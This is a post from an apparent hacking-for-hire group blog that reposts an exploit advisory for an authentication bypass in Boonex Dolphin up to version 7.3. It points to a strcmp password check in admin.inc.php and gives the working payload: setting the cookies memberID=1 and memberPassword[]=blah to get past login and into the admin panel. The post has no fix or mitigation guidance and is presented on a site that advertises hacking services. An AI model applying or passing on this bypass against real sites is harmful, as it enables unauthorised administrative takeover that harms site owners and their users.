Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397842

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title     : Boonex Dolphin all versoin <= 7.3 Authentication Bypass
# Exploit Author    : Saadat Ullah saadi_linux[@]rocketmail.com
# Software Link     : https://www.boonex.com
# Author HomePage   : http://security-geeks.blogspot.com
 

Proof of Concept

File: admin.inc.php
Line: 187
Code: (strcmp($aProfile['Password'], $passwd) != 0)
 
$passwd is equal to Cookie parameter memberpassword
 
Bug:
According to PHP documentation strcmp will compare strings, but what if we provide an array???
 
So, simple bypass is to put two cookies in browser
memberID=1
memberPassword[]=blah --->array
 
This will allow the attacker to bypass the authentication and can also enter in admin panel.
 
#Independent Pakistani Security Researcher